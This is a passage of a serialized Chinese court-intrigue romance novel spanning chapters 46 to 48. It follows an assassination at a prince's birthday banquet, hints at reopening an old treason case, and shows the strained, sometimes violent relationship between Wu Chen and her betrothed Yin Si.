沈则儒开口便是毫不客气的挑衅,“侯爷,多日未见,在下一忙起来,竟忘了遣人去问。殷公子的身体,可还好吗?”
殷怀疏不曾侧目看那沈则儒一眼,“不劳沈尚书挂心。”
沈则儒却步步紧逼,“侯爷姐弟两人的感情,那晚,在下可是全然看在眼中的。只是近日献都中的传闻,侯爷又确与殷公子的年纪,差得颇多,极难不引人......遐想。”
安固临怒道:“沈则儒!”
“怎么?安侍郎可知实情?”
“陛下驾到——————皇后娘娘驾到————”
龙辇凤驾缓行至颐王副宴厅庭院处,侍从们恭敬地分列两旁,众人皆俯身跪拜。
皇帝身裹锦衾,然身形消瘦,落座主位后无奈道,“唉.......都免了礼吧,坐,全都坐。”
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皇后与帝一同入席后,只得体的关切着,“陛下若是仍身有不适,不如先回殿里好生休养着。”
“皇后不是也正病着,不如皇后也回后头休息?好不容易正赶阿复生辰,朕想着透口气,竟全盼着朕继续回去躺着?”
“陛下误会臣妾了。”
在场人皆可看出帝后二人,状态不对。皇帝早已病重多日,朝中之事一直由皇后代劳亲理,更甚传闻有言,皇帝是早被皇后限制了行动。
昔日君临天下之态不复,唯余病骨支离,见众人安静异常,道:“诸卿,打算谁先说?”
......
“我先说!!”
“皇兄!今日是我生辰!我要先说!”,未见其人,却先闻其声,承段复抢着插话。
龙颜震怒,眼底疲惫却被愤怒搅得波涛汹涌,“阿复!你眼里还有没有规矩了。”
“臣弟自幼长在宫外,已然没规矩惯了,本就是仗着皇兄的庇护混个清闲日子过。但这帮人!竟在我生辰时......”
“咳咳......咳......承段复!你闹够了吗。”,皇后起身便抚着皇帝的背,边柔声道,“陛下息怒,当心身体。”
承段复几次三番出言顶撞,仍未知错,“不是阿复要闹的!臣弟只是顺手收拾了些烂摊子,臣弟将晚今和东方姑娘救出来了,皇兄不赏我吗?”
“小姐!小姐......您无事吧......”,那侍女见了东方羽灵安然无恙的再次出现,忙冲上前去,泪更是止不住得流。东方羽灵只于一旁温言安慰着,并未打算就此开演。
一同进了院内的还有承晚今和巫辰。
巫辰仍在惦念着旁的事,且早先皇帝亲口交代的刺杀案,虽已知主使之人及行动动向,可如今早已死无对证,只好借着东方羽灵口中所谓的‘胜局’,将计就计。
见皇帝仍不适得轻咳着,难以开口发问,皇后代替问道:“晚今,那蒙虞阁火势不小,可有伤着了?”
承晚今道:“回陛下,回皇后娘娘。多亏东方大人处消息灵通,得了有可疑人士正混迹于颐王府上,臣与东方大人抢先离了蒙虞阁,并无大碍。”
“颖王管这叫并无大碍?本王见你时,你整个人都烧起来了!”,承段复仍是不管不顾,直接将承晚今袖口下的烧伤暴露在外,手臂处水泡鼓起又破裂,应是藏着钻心蚀骨的痛楚,“哎呀......你看看你看看......”
“......”,帝后虽是一同在场,可应于面圣时的庄严肃穆,此刻荡然无存。
因得颐王的添乱吵闹,席间混杂着多方的喧嚣声,大苍的衰败,绝非一日而成,只因其早已由内而外得腐烂。
沈则儒道:“齐尚书,您看东方大人身边的这位,可是正被刑部通缉着的......巫辰?”
“沈尚书若早有定夺,就莫要再问我。”
见齐炜只一味得回避不语,沈则儒转而又去问殷怀疏,“侯爷,这巫辰与殷公子关系不浅,您认得她吗?”,未等人有回应又擅自发号施令,“过去,她押住。”
“诶!诶诶————”,承段复注意到巫辰那儿的动静,忙去拦着,“你谁啊你!陛下问你话了吗,你就要抓人?”
“打狗也要看主人!本王带进来的人,是你说抓就能抓的?”
“......你!”
“阿复!”
安固临见局势渐乱,只悄声吩咐下属,“去将陆堇带上来。”
“就是你!”,承段复见了炸楼的元凶出现,大步上前,猛地揪住那人衣角,“是你把我的楼炸了?你知道那楼花了本王多少钱吗?全大苍都再没那样的奇观了,你说炸就炸了?!”
陆堇便是巫辰于刑部被关押时的主审人,那人虽较于从前更加枯瘦,可见了陆堇,便直接引得往日苦痛之感翻涌而上,巫辰本就混沌的头脑此时更加难以思考,慌然欲遁却挪不动分毫,只木然盯着正与陆堇对峙的承段复。
变故陡生,陆堇借机将手一拂,直直扯下承段复束发所用的长簪,而后直奔沈则儒。
因在御前,除殿前司外,皆是手无利器,周围之人还未及反应,陆堇手中发簪已带着杀意刺出,将人一击毙命后旋身又朝巫辰杀去。
咻————————
还未触至巫辰半分,远矢破风来,一箭贯喉间,血溅当场。
46.翻案
变故陡生,陆堇借机将手一拂,直直扯下承段复束发所用的长簪,而后直奔沈则儒。
因在御前,除殿前司外,皆是手无利器,周围之人还未及反应,陆堇手中发簪已带着杀意刺出,将人一击毙命后旋身又朝巫辰杀去。
咻————————
“多谢......”
微风拂袖,殷思无力倚于窗边,直至亲眼目睹远处的陆堇彻底倒地。
林小危正仔细地整理弓弦,动作娴熟且专注,可见是极为爱护这弓,抬眼却见殷思还靠在窗前吹风,询问道,“先坐下吧,这陆堇来前便知是亡命之徒。御前的那些护卫......虽说水平不怎么样,但应是难再生出其他变故了。”
“殷思?你夫人......方才好像认出我了。”
殷思本在隔着老远注视着巫辰的动向,恨不得现就从高台上跃下将她抱紧,因得林小危的话先是一愣,而后竟有些窃喜,“嗯,颐王杀冷时俊做什么?”
林小危解释道,“并非是殿下要杀的,他只是命我给冷家人些教训。你可知宗正寺的皇室祭品?我听闻大火烧进容安山时,你也在场。殿下本在寻其中一物,却因冷氏的突然变卦,损失了不少......至于要杀冷时俊的,是颖王。”
“你竟是不知此事的吗?”
“我当然不知。”
林小危本是见殷思与承晚今同时出现在地宫内,应是一路的,稍有尴尬得解释道:“那日是代贺找到我......”,说到此处将眉头紧锁,似是正纠结是否要将所知全盘托出,“那日我见代贺时,她穿的是男装,今日怎么......发生什么了?”
殷思却未有回应,只继续问着心中疑虑,“林危,颐王为何于府内设地宫?葬了谁?”
“殿下的石碑确实不是你们炸的啊......”,林小危自知难以回答,只是唇角微动,而后试探问道,“殷思,你夫人她......是不是展颜辰啊?”
“......”
殷思只是怔立当场,说不出话来。
“也有其他人猜出过吧......她长得和展颜钦太像了,尤其是那眼神,只要是见过展颜钦的人,应当都能认出来的。而且......十几岁的时候,你不是整日念叨着展小姐吗,只是她与陛下幼子有过婚约,所以才......”
“别说了......”,殷思不愿再听任何有关过去的事,一晃多年,变了太多太多,“所以,颐王地宫内葬的是展颜钦?”
“啊?你怎么知道的......”,林小危闻此语,已是目瞪口呆,未明方才的话有何错漏。
“我猜的。”,殷思只回身冷撇了一眼林小危。
“诶......你这个眼神,怎么也有点儿像。和你夫人学的吗?”,林小危有些吃惊,后才自知说错了话,挠了挠头持续掩饰尴尬,“殷思,你还是变了挺多的......虽说不至于像献都传闻那般夸张,却还是有变化的,沉稳了许多,如今又要成婚了......我当你已不记得我,不记得从前的殿前司了。”
从前的事,殷思记得最为清楚,只是往事随风,死得死,记忆中还存活于世的人,寥寥无几。
“你的口无遮拦,倒是从未变过。我今日,不是来与你叙旧的。”
林小危已是满面羞惭难遮,“哦......”
......
*
承段复满眼嫌恶得将陆堇尸身拉到一边,夺回他手上的长簪后,紧贴着自己身上的锦袍来回剐蹭,直至簪尾的污血被擦净。
“这便吓着了?方才不是还很神气吗?”,承段复将发簪重新固定回头上后,伸手拉起巫辰,神色未明。
御前的护卫至此才拔剑而出,迅速将圣驾围在中央,侧身而立或是警惕观察四周,训练有素但全是花瓶摆设。
承段复撇嘴,“啧......人都死完了,你们才想起来干事儿。”
在场众人面上未见慌乱,应是仅有侍女受了稍许惊吓,暗箭的来源,只可知是较远的高处。
皆知如今这陆堇一死,万事再难说清道明。
皇帝猛地拍案而起,“承段复!”
承段复却仍是不慌不忙,“皇兄,我府上本就进了来路不明的刺客,这人虽是死得不明不白,但与臣弟,确无关系。皇兄若是怪我添了乱,也太没道理了......”
皇帝只是气得浑身颤抖,手指前方,戟指怒叱,正由皇后搀扶着,脚步急促地来回踱步,“朕,已是时日无多,大不了.....以此残躯微命,祭了这将亡的大苍!待至后人评说之时,也算是为国而戕。你们.......咳咳......”
“陛下,不可言此话啊......”,只皇后于一旁轻劝,其余无人再敢多言。
齐炜此时冷汗自额头滑落,双唇哆嗦,在众人的注目中行至帝后御驾前,强撑着开口:“陛下......陆堇作为刑部司,当众刺杀朝廷要员,臣难辞其咎。只愿辞去官职,家宅家财全数充入国库,为大苍稍尽绵薄之力......”
皇帝道:“辞官?哈......齐炜,你说得好轻巧。不如刑部,更或是六部,全数辞官好了,辞了官尚可保命?是吗?”
“陛下......臣......”
兵部刘侍郎撩袍跪地,拱手道:“陛下,现陆堇已死,死无对证。可他死前,却是毫无犹豫得直奔沈尚书而去,臣听闻沈尚书前些日子,一直正查着......闵国侯私用兵符一案。臣知此话一出,将会引得侯爷不满或是坏了陛下对侯爷的信任,但如今朝堂混乱不堪,屡现大案,臣也不知,这几件案子,是否会有关联?”,转而问向殷怀疏,“侯爷,您可有解释?”
“怀疏,你坐着说话就好。”
殷怀疏只淡然道,“用兵符,以护圣驾,何需解释?”
承晚今道:“陛下,九月初三容安山山火那日,是从殿前司右卫云迁程处得了消息,殿前司被替换,圣上或将遇险。才托殷思将亲兵换作刑部部下,入宫进殿,以护圣安。”
随后由刑部侍郎,将当日的殿前司名册呈上。
巫辰只觉此事颇为蹊跷,她深知殷思并非因此事才调动殷家亲兵。可帝后查看名册后,竟再没发难,事件也由私用兵符案转为御前刺杀案。
皇后过目名册后,神情似笑非笑,“晚今,你确定此名册,是来自九月初三的殿前司吗?”
“回皇后娘娘,确定。”
东方羽灵轻移脚步,微微垂首道:“陛下,臣曾听阿爷讲过,当年‘荔平案’发时,先帝曾于软禁之下,冒险私调兵符至当年的东方氏府邸。这才得以保全,包括惠国公与皇后娘娘在内的全数东方氏族人,片刻的相助却换得大苍再次归至安定......臣认为,兵符正是应为此用。”
听闻此话,皇后端庄沉静的面容上,显现出半刻
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的动容,极难察觉。
“至于刘侍郎所说的,沈尚书死前仅是在查兵符案,与本侯所知,稍有出入。”,殷怀疏先是不经意得扫过皇后的目光,而后对皇帝道,“陛下,是有人,误将先帝托臣交于您的家书,当作了遗诏。先帝与陛下皆是极重亲情,以表思念的家书却被视作政治手段,臣......知此事后,心情复杂。”
殷怀疏说罢便吩咐随行侍从将千封帝书呈上。
皇帝此事的情绪已稍有缓和,追问道,“怀疏,是何人逼你交出遗诏?”
殷怀疏只恭敬道:“臣,不敢说。”
“......唉......那便算了。”,皇帝只喃喃自语,当然清楚殷怀疏所言的其中深意,沈则儒是为皇后一派的朝臣,只是当庭之下,包括皇帝自己在内,皆是不宜表明,其思索片刻干脆调转话题,“朕还记得,九月初三那日见过你,你是叫......巫辰?”
巫辰跪正后谦卑地躬身,“回陛下,正是。那日陛下交由臣去查的刺杀案,已然查明,是将死士加以多重身份,掩盖真是来源,先是装作流民、后再充作乐坊乐人,混入献都后,刺杀权贵,以......肃清政敌。”
皇帝笑道:“好一个肃清政敌,你说说,如何肃清?”
巫辰道:“全数刺客最后的行动,是为刺杀继华堂女官。且唯一的人证,虽于畏罪自刎前留下实情。但......臣,不敢说。”
“......”
东方羽灵听得巫辰于御前这般胡言乱语,险些笑出声来。巫辰若知道幕后之人,继华堂也难遭屠杀,不过是调换先后的因果顺序,以混淆视听。
东方羽灵将神情调回至平静后,悄声用手肘戳了戳身旁的承晚今。
承晚今道:“陛下,巫大人所言的流民,便是源自——燕庭与天隆国边境处,此事,臣在天隆时稍有耳闻。且......请陛下恕罪,当年臣离国匆促,有真相未能道出。”,而后撩袍跪地,“臣双目,是因亲眼见了蒙尘真相,才被刺伤。”
“霍懿纯,也就是九月初三当日,被发现于宗正寺地下密室处的.......前太子妃,现仍在燕庭行宫休养。因得如今多起疑案皆与燕庭相关,臣不得不冒死上谏————”
“八年前,东宫通敌谋乱案,存疑。至于蒙尘真相,臣......不敢说。”
“......”
众人皆愕,双眸圆睁,口不能言,唯闻风声过耳,良久,方有吸气之声起于四方。
承段复又于此时添乱,“皇兄,八年前,世家展氏涉嫌勾结东宫谋反一案,同样存疑。”
帝怒,“承段复!你在胡言乱语什么?你也同......咳......同晚今一般,疯了不成?”
承段复笑得狡黠,“臣弟没有发疯,虽知真相,只是臣弟,不敢说而已。”
......
*
只‘不敢说’三字,却似乎什么都说了。
而后的庭中宴,杯盏翻落,琼浆洒地,慌乱麻丝于宴中蔓延开来。
不知是皇帝或是皇后,亦或是帝后二人皆因身体不适,旧疾复发当场昏迷于宴上。
圣驾离席后,火药惊鸣声,再次响震寒川,浓烟滚滚遮蔽云天。
冰封深潭破裂成空,混乱之中,巫辰不知遭谁从背后一推,身倾后直直没入寒川潭水。
身体再难受控,只向着无尽寒渊而去。
47.冷对
圣驾离席后,火药惊鸣声,再次响震寒川,浓烟滚滚遮蔽云天。
冰封深潭破裂成空,混乱之中,巫辰不知遭谁从背后一推,身倾后直直没入寒川潭水。
身体再难受控,只向着无尽寒渊而去。
潭中寒凉纱幕,只将她轻裹于怀,挣扎无果后,任由自己缓缓下坠。
朦胧水光里,突兀得现出一团刺目的红。那身着红衣之人,周身微光于水中若隐若现,无需看清他的眉眼,心中某处早早认定,只能是他。
只见他闭目而眠,薄唇微微上扬,泛着柔和光泽。
“殷思......别再睡了......”
“醒来,看看我。”
不知怎的,原本无法动弹的身体,只在一瞬,清醒的意识竟夺回了控制权。
巫辰再也顾不得呛入口鼻的寒水,尽力挥臂时扰得深潭磷光泛泛,只不顾一切地扑向他。
正将贴近他胸膛前,眼前光骤然刺目。
力气殆尽时终将冰面冲破,大口喘息着从寒潭中挣扎逃出,方知是幻。
巫辰死死抠住潭边坚石,拖着沉重身体重归涯岸,却未见他的身影。
不知从何时起,巫辰也学会了自欺欺人,艰难自救时,头脑中竟全以他的幻象作为筹码。
深刻于心的恐惧,因他的存在,所剩无几。
无奈失笑,力竭后再无意识。
......
*
悠悠转醒,入目处,锦幔低垂,却不闻一丝人声。是从未见过的卧房布局,陈设精致崭新。巫辰扶着额起身,身上已换作干爽衣物。
步出房门,回廊曲折,庭院深深处,又是一整片凝冰的湖水。
“还来......???”
日光倾洒,冰面映得人目眩神迷,巫辰意识到,自己已被困在这个冬日,很可能再也醒不来了。
往复的幻觉更使人心烦意乱,重踏于冰面之上,依然毫无响动。
冰上残雪凝结不散,巫辰行至湖心处时,呼吸愈渐急促,长久的失温致使身上止不住得发热,只好将层层衣物褪去。
此时身上也无任何利刃兵器,更没法借机捅自己一刀,靠痛感逼自己苏醒过来。只得跪坐着,用手指无力得抠着冰面。
巫辰正没脾气得发着呆,身体却忽得被厚重衣物裹紧,是从身后抱上来的。
都不用回头去看,就知又是那人的幻象幽幽飘来了,巫辰盯着冰面倒映出的一片深红,只想着,反正无聊,不如试着和‘它’互动玩玩,而后轻声问道:“你是谁?”
“啊?”,那人先是一愣,再是平静得解释,“我是殷思啊......不认得我了吗?失忆了......?”
巫辰僵着身子回头,抬眼一瞧,又是被浮光衬得极其白净的脸,薄唇不点而朱,神色温润,正蹙眉得盯着自己看。
巫辰只觉是个好不真实的梦,却还是出了神,默默道,“殷思是谁?”
“......殷思是你夫君。”
因他忽得弯眉一笑,巫辰更加气不打一出来,未加思索后,抬手就是重重一巴掌掴在他面上,欲将这幻影打散,“你笑什么笑。”
“啪”得一声脆响,却仅仅止住了他的笑意,脸上的火辣远不及心中委屈。
“不愿我笑......你说就是了,突然打我做什么......”
“阿颜还是不愿嫁我吗?是不喜欢我吗......”
殷思将头低着,语气也逐渐带上了哭腔,巫辰眼看着他泪水不受控制地涌出,再顺着脸颊滑落。
巫辰怔于原地,竟不知如何去哄他才好。
本想抬起冻僵的手替他擦去眼泪,但又怕正渗血的指甲会碰脏他的脸,无奈收去动作。
殷思边吸着鼻子边说着,“这宅子前几月时,就想带你来看......打理得稍有仓促,也只是普通家宅。侍从护卫还未过来,现还稍有清寂,过几日便会好很多了......”
巫辰抬眼环视此处宅院,回廊弯弯绕绕极易迷路,屋院青瓦覆顶,错落有致,行至院中湖心也算是累人,不知是哪儿普通了。
“哦,我没见过这地方。我以为,你又抛下我了。”
“我没有......我再也不敢了......”,殷思抬眸后泪水潸然而下,“这宅子,只当作我们......新婚后的住处,可好?”
“我想你做我......名正言顺的妻子。我早受旁人唾弃惯了,不想更难听的话,会落在你身上......我知你向来不在乎那些浮于表面的话,可我做不到不在意。”
巫辰听后认真问道:“‘成婚’,常出现在话本子中的,最后一页。只这两字出现,书中人的一生,才算完整,是吗?”
“若此时便是结局,我好不甘心。我还有许多,未完之事,更有许多事想......”
“呜——”
“呜——”,殷思不小心哭出了声,因得巫辰说过极厌吵闹的哭声,正赶紧将声响憋下,却仍不受控得发出抽噎声。
两人一时都愣住了。
殷思只无力解释,“你继续说......我不是故意......呜......”,可越是想停下,越是止不住得抽吸。
“......”
“你说......呜......呜......”
巫辰终是忍不住,随即“噗嗤”一声笑了出来,“是从未见过的新哭法,你才学的吗。”,将手上污血擦净后,尽快摸上了他眼角的泪痕。
殷思见她一笑,才松下口气来,头也不自觉偏向巫辰手摸着的方向,直至唇角吻上她的手心,“太冷了,冻的......呜......”
“哦。”,巫辰故意不经意得说着,“不是故意要打你的,我只当又像平时那样,在做梦了。”
“真好,阿颜的梦里,终于有我了。”
“没有,我记错了。”
殷思道:“那怎么行……我岂不是白挨一巴掌了。”
巫辰这才想起了那日于巨阙山,痛失内力的事,未来得及再抱上殷思,便急忙去试内力是否还在。
蓦然抬臂后,看似轻柔的一掌缓缓拍在冰面上。
厚实冰层以两人所在的湖心为原点,裂纹散至各方,冰面再也不堪承受这般凌厉劲道,瞬间炸裂。
“你做什……???”
殷思震惊之余反应放慢,还未横抱起巫辰飞身离开,已然双双坠湖。
巫辰对于折腾殷思,向来很有一手。
殷思本想拉着她尽管往岸边游就好了,可怎料才要碰到石台,竟被巫辰一下抱住,因惯性于水中旋身后反复呛水。
巫辰直接将新伤未愈的人,撞晕在了湖底。
......
*
才乔迁新居便又双双受了风寒,只好闷在家里养病。
那日颐王寿宴所出的乱子,也在两人毫无动静之时,成了一口巨锅扣在头上。
连面都未露过的殷思被说成,将帝后与闵国侯当场气病;刀都未碰过的巫辰被说成,于御前连杀两臣。
帝后都拿这对“雌雄双煞”没办法,可未名真相的百姓民众却已对他们恨之入骨。
更将罪名升华到了,坏了大苍龙脉更甚影响国运。不管是为官、从商或是务农,都能将不顺遂的事往两人身上赖。
大苍乱象,已至民间,国之根本,岌岌可危。
愤恨民众自知没法子跑来府上谩骂出气,只好在两人外出办事时大肆闹事。
巫辰在献都各处花楼彻查收尾,准备将刺杀案彻底结案时,本想着再无东家的花楼,不如直接遣散了众人,为那些姑娘谋些别的出路。
可人一到,却被闹得一团糟,非要将巫辰说成是来花楼捉殷公子回府的,将殷思风流纨绔名头做实的同时,又给自己添了声‘妒妇’的骂名。
巫辰尽管极想将闹事者打一顿或是干脆杀光,却还是尽力克制、收了戾气,试图和他们好好讲道理。
殷思匆匆赶来,见了乱景便只暗暗发誓,再不可让巫辰独自出门。可出钱将几个花楼重新盘下后,依然无用。
终是找了声名远扬的东方羽灵,前来收拾了烂摊子。各处花楼作为收集或是散布消息的重要之地,自然不可由此荡然无存。东方羽灵平了乱又选了些得用好学的姑娘,再入继华堂修习。
巫辰也选出几处,直接改为缙华堂弟子于献都的落脚点。
因得八年前的东宫谋乱案被再次提及,不日入春后,颖王承晚今将奉命前往燕庭重查此案。
东方羽灵见了巫辰,笑着邀她同去,说着若非为了查案,仅到那诗意如画的江南之地赏景,更可将烦忧屏退。
燕庭与东宫案事关展家,与巫辰已亡故的家人,定是要查的。
毕竟浑浑噩噩的八年,是仅靠着这点念想过活的,巫辰本想着,自己不过是烂命一条,孑然一身时如何胡作非为都无所谓。
如今却已不同。
......
*
殷思也常说,“阿颜,既然累了,就休息吧。”
“你看,悬而未决时,霜雪消融的速度,反而慢下来了。与你共度的时间,也可变得很长、很长......”
许是放任事件进入悬而未决的状态,也算是一相信自己、接受万事无常的能力。
一味地求取掌控感
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而不得的脆弱状态,只会将自己逼疯。
将心中紧绷着的弦缓缓松下,心中不再去想着如何‘恨’、如何‘杀’,异常轻松。
原本看殷思那副,做什么事都不紧不慢的样子,很是心烦。他常是死到临头了,还在哭来哭去,脑中仅想着那些无关紧要的心情。
可除却与殷思肢体相碰时,让他脸红的慌乱。
这个漫不经心的人,遇了要事,依旧可沉静应对,哪怕是将亡前,依然能平静地说话。
反观巫辰自己,却常因种种杂念分神,于重要关头失手或是志气全失。
巫辰觉得他,很会忍。
爱哭看似是外化的情绪,可总觉他心中,在克制着什么。
以至于在家中半月的相处,巫辰隐隐觉察出他常在躲着自己,也不知他在忙着什么。
独处时总感退回到了在钦天监时,满是试探与尴尬。
明明说着府上仅有一间主屋,他却总在后半夜溜到偏房去睡。
于院中种下枫树时,巫辰心里自然喜欢又欣喜,他却不让亲、不让抱。
重温药理针法时,好不容易守着一个男性活人在屋里,想从他身上找找经脉穴位,他却遮遮掩掩不给看。
因这大起大落的态度变化,巫辰心情愈发烦闷。
巫辰只好整日将自己关在房里,将年幼时于家中读过的,数十本绝版药理书背默下来,以便反复翻阅。
......
*
一日书房内,日光洋洋洒洒,案几生辉,墨香与暖阳相融,殷思也破天荒地陪在巫辰身边。
正写着相关内科心衰的最后一本,殷思只在一旁的雕花椅上,一页页翻读着展颜钦的那本手记。
自从东方羽灵手中拿回兄长的手记,巫辰其实并未仔细看过,也可说成是————根本不想看。
暖阳自窗而入,书香萦绕身畔,殷思斟酌良久才试探开口,“阿颜,那日我们去过的......颐王府处的地宫内,安葬的,其实......”
“......是展颜钦。”
巫辰手执笔墨未有停顿,似是毫不在意,已然坦然接受世上再无亲人的事实,“哦,是吗。”
展家毒从未外传,因此首次传出展家毒的位置,一定是兄长最后出现过的地方。
巫辰已在得空时查过此事,献都最早出现的展家毒,是刺杀案首个死亡的冷夫人。只顺藤摸瓜得探出,私卖祭品案中,颐王曾与冷夫人结怨。
颐王寿辰时,又知殷思于颐王亲信护卫是旧识,巫辰从不愿逼问,只等殷思自己将此事说出来。
“阿颜,抱歉......”
最后一页完成,巫辰收笔将书册合上,“你道歉做什么,展颜钦又不是你杀的。”,而后将三十几册书胡乱堆到一处,起身欲将其归置书架上。
殷思将巫辰手上的书册接过,笑道,“我帮你。”
他立于书架之前,目光专注,将书册一本本整齐排列在书架之中。
巫辰站在他身后,却越看越觉不对劲。
书册本是杂乱得堆着,毫无顺序可言,可殷思排书时,却会在两册之间,特意留出空位来放后面的书。
若是按常见的内科医书顺序排列,也应是从头部至脚部的位序。
幼时展家书柜内的书册位置,是巫辰按照自己的习惯,以心脏为起始,逆时针轮换着乱放的。
他是如何准确知晓自己瞎编的顺序。
屋内片刻沉寂,无人言语,静得可怕。
当书册堆满书架,只剩得两三本时,殷思手上放书的动作也停滞不动了。
“殷思,你从前,做过殿前司?”
“嗯。”
巫辰语气淡然:“我为何从未听你说起过?”
殷思也未回头,只盯着眼前的书架回应,“不重要。”
巫辰由殷思身后,牵住他的手,竟感些许冰凉。而后强行将殷思一拽,迫他看向自己。
殷思眼中神色,竟无一丝不安或是异样,相较往日更加平静,或是冷漠。
巫辰目光流转于他的眉眼间,启唇后缓声问道。
“殷思,八年前展家遭抄,也就是我爹死的那日。殿前司,在哪儿呢?”
“也在我家,杀人吗?”
不可置信仅留于巫辰脸上,她微眯着眼,素手翻转间,一记耳光裹挟着杀意,迅猛地甩向眼前人。
响声在寂静空间里回荡,震得人心发颤。
殷思半边脸瞬间红肿起来,却仍是低头不语。
“你说话!”
声音凄厉,怒意怨愤于心,未换得一语。
“你口中,还有真话吗?”
48.以命相挟
不可置信仅留于巫辰脸上,她微眯着眼,素手翻转间,一记耳光裹挟着杀意,迅猛地甩向眼前人。
响声在寂静空间里回荡,震得人心发颤。
殷思半边脸瞬间红肿起来,却仍是低头不语。
“你说话!”
声音凄厉,怒意怨愤于心,未换得一语。
“你口中,还有真话吗?”
“我没有骗过你......”,殷思只将头深深埋下,几缕墨发垂落在眼前,声音微颤后,应是又哭了出来,“我解释,你还能相信我吗......”
室内气氛陡然冷凝,温光不再,轩窗边,悄然间滚落的泪滴炙热不再。
巫辰眼中满是复杂的情愫,有怒意亦有痴怨,几步上前,拽住殷思衣领后,将他重重抵于桌案前,“你哭什么?”
巫辰从不认为,家人之死会与殷思有关,心生怨怼也不过是因他的知情隐瞒。
殷思经巫辰这样一拽,连心肺也被紧紧揪住,胸口剧烈起伏,每一次呼吸都艰难无比,钻心的痛楚迎上时,根本说不出话。
见他一改平静的态度,气息骤然急促,巫辰更是难知殷思正心虚得怕着些什么,靠近他后不敢置信得喃喃低语。
“你是在害怕吗?”
巫辰眼看着殷思的泪顺着眼角蜿蜒而下,滴落于案桌上,泪花破碎散落。
只是几滴清泪而已,却烧得她心口生疼。
“你在......怕我?”,满心的费解只化作怒火,巫辰已是难控心绪,四目再次相对时,他眼里又是责怪的神情,全然失了往日爱意。
巫辰猛地提气,将腿横扫而出过后,早已后悔不及。
只听“砰”的一声闷响,殷思直直被踹出房门之外,更将半扇门扉撞碎,屋内徒留清寂与尚未消散的嗔怒。
巫辰也愣住了,只慌乱回忆,方才究竟是踹在了他身上哪一处。
追出门时,已是殷思落地后,于尘埃间连滚数匝。
巫辰先是见他捂着心口蜷缩在地,后又突然像无事了一般,拍了拍衣上尘土,神色平静不发一言,默默起身后朝着回廊的方向径直离去,行动间未再抬头看巫辰一眼。
巫辰双唇微颤,试图轻声将他唤住,“站住。”
“殷思,我叫你站住。”
殷思稍顿半步后,换手撑向回廊立柱,仍是不停地向前。
府上侍从应是听得了破门的动静,初鸣带着几人匆忙往书房院前赶。
巫辰疾步赶至,稳稳将殷思拦住后,才发觉他身体正抖得厉害。本想去探他脉象如何,可还未碰至他颈间,手便被无情打回。此时已顾不得与殷思置气,揪住他袖上衣物不肯松手。
殷思稍一抬眼,似是看向了眼前的巫辰,可很快将目光收回,而后身形摇摇欲坠,终是跪地难起。
须臾,他缓缓抬起手捂住嘴,边蹙眉忍痛,边发出呜咽的闷响。
殷红鲜血自指缝间溢出,残阳泣血时,巫辰只知自己又将他伤了个彻底。
他心衰旧伤本就未愈,根本受不住巫辰的全力一击。
初鸣带着一群侍从赶来时,只见殷思靠在巫辰怀里昏迷不醒,深红血色染尽两人衣衫。
......
*
旁人问起殷思心疾是因何复发,巫辰倒也不搪塞避讳,直言就是自己打的。
谁也不敢因这事去指责巫辰,只她一人翻来覆去得痛苦揪心,总在情急生怒之时做出离谱的错事来。
之后的几日,不论巫辰在塌前如何像从前那般威胁,都无济于事。
没日没夜得等,烛火前的身影略显疲惫,巫辰坐靠于塌边,昏昏欲睡。
脱离梦羁,意识重归后,双手已不受控。
身体虽是无知无觉,却觉察出了手腕下的片片湿热,巫辰正素手执刀,静待着刀刃切入皮肤。
血珠溅落,似断了线的红泪。
看清眼前时,见殷思双眸轻阖,正安然得睡着,巫辰更像是松下一口气,还好只是割破了自己的手腕。
锋刃仍在有条不紊地划破肌肤,耳边仅剩皮肉被切断后涌血的声响。
若殷思还不愿醒,她对此也不为所动。
......
*
“咳......咳咳......”
“阿颜醒了?”
眸光轻落处,原本渗血的创口被悉心掩去,伤痛也随之悄然隐匿。
殷思轻抬巫辰才包扎好的手腕,轻声询问怀里的人:“要起来吗......”
“不要。”
殷思似是轻声叹气,抱着巫辰靠向桌塌边,“还好未伤及筋脉。”
巫辰未打算侧头看他,只将身体向他稍贴近些,“殷思,你的心疾未愈,为何又不告诉我?你是想等某日,以命相挟吗?”
殷思面色如纸,苍白得几近透明,双颊不见一丝血色,无奈道:“才睡了几天而已,不严重的。而且,不是你在用命威胁我吗......”
“你让我听着,你用刀割腕的动静,是想活活将我吓死吗......”
寒夜沉沉,屋内冷冷清清,巫辰正想去握住他的手,感受些许温度,可不知何时起,殷思身上再少有温热之感。
巫辰正想开口,却不知如何道歉,如何哄他。
“八年前,展家遭抄那日,我确实.......也在。我想哭,却是因为那日,见了太多枉死的人......以我之力,竟是谁也救不下。”
巫辰问道:“殿前司入展家,也应是查抄、抓人。为何会杀人的?”
殷思解释道:“御前的殿前司,并非仅有为人所知的那近百余人,平日里在御前见到的那些,只是殿前司的‘昼司’。鲜少出现的,还有一支‘夜司’,且‘夜司’仅出现于情形紧迫之时,除殿前司总督与帝后外,无人知晓。‘夜司’行动时,‘昼司’会收到假的任务通知,避开相遇。”
“查抄展家那日,本应是‘夜司’行动,可‘昼司’却收到了.......相同的查抄命令。且那日的夜司被换作成,来路不明的一群人,除我以外的其余殿前司,皆死于非命。”
巫辰道:“如此一来,你是殿前司明面上的‘昼司’,你怎知此事?”
殷思笑道:“哈......我猜的。昼司与夜司是我随意取的名字,大意就是有两支殿前司的队伍,头一次相遇时,碰在了展家。”
“......”
“九月初三出了容安山,面圣那日,我动用了殷氏兵符,为日后还可有的解释,用暗号......将‘夜司’叫了出来。”
巫辰抬眸看向身后的殷思,又伸手试了试他额间的温度,不知他是否因病了几日,烧昏了脑子。
殷思拉住巫辰的手,“我没有胡说......”
巫辰追问:“你用的什么暗号?也是猜的?”
“暗号是一个人。”
“殷思,你还是回塌上躺着吧。”,巫辰说着就要挣脱他的怀抱。
因巫辰一动,殷思反而将她抱得更紧,道:“八年前我活着出来后,也是无人相信我说的话......”
“每当作为‘暗号’的那人,未出现于昼司的队伍,夜司才会出动。昼司与夜司的全数亲卫,皆可一一对应,唯少了作为暗号的那人。因此殿前司当日的出勤名册上,不会有‘暗号’的名字。”
巫辰听殷思将事情说得越发离奇,据颐王寿宴那日,有关殿前司名录有异的情形,离谱的猜测竟听着真了三分,于是好奇发问:“.......可若‘暗号’请假了呢?”
“所以‘暗号’一定要选,绝不会请假离队的。”
巫辰道:“哦,所以八年前你是那个暗号,现在的暗号是云迁
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程?”
